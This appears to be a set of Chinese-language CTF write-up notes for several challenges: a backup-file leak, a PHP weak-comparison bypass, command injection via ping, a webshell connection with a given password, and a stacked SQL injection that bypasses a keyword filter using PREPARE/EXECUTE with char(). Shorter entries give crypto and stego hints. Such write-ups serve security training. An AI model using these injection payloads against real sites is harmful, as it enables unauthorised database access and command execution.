1.backupfile
提示是备份文件 访问index.php.bak获得备份文件
用vsc打开
内容为
包含flag.php文件
1.如果get传参传入了参数key,将参数值赋值给变量$key
2.如果$key的值是非数字,输出Just num!结束;获取$key的整数值再赋值给$key
3.如果$出key == $str输flag。使用的是==,在进行比较的时候,会先将字符串类型转化成相同再比较
== PHP 弱类型比较,int和string无法直接比较,php会将string转换成int,然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉,str隐性的转换成整型123
我们构造payload:key=123即可
exec
然后ping127.0.0.1cat|flag
即可获得flag
knife
看到提示我们直接用蚁剑连接 其中密码为Syc
在根目录即可找到flag
随便注
先尝试1'报错
1'# 正常回显
1'and 1=1#正常回显
然后用order by查表的列数
1'order by 1#正常
1'order by2#正常
1'order by3#报错 所以有三列
然后我们用联合注入查询1,2列 1' union select 1,2#
出现报错preg_match("/select|update|delete|drop|insert|where|\./i",$inject);]-----发现select等词被过滤了 并且为match函数一旦出现就报错 所以双写绕过不行,这里我们就要想办法绕过select
网上看到一种绕过姿势:预处理语句
首先给出一个基本用法示例
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
本题即可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)等价于select'
先暴库1';show databases;#
接下来看表名
看到有两个表先暴第一个 1';show columns from '1916810931114514';#
看到有flag字段于是我们构造payload
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#
最终得到flag
[BSidesSF2019]table-tennis
同理组合起来就是
base64解码后得到flag
[INSHack2018]Self Congratulation
看到左上角的码白为零黑为一编译的
00110001001
10010001100
11001101000
01101010011
01100011011
10011100000
二进制转码得到flag
[CFI-CTF 2018]webLogon capture
URL解码得到flag
另一个世界
用010打开
先把这串二进制转为16进制再转为字符的flag
n种解决方法
Excel破解
用010打开直接找到flag
signle dog
用aarncode解码得到flag
从娃娃抓起
看我回旋踢
凯撒加密
摩丝
password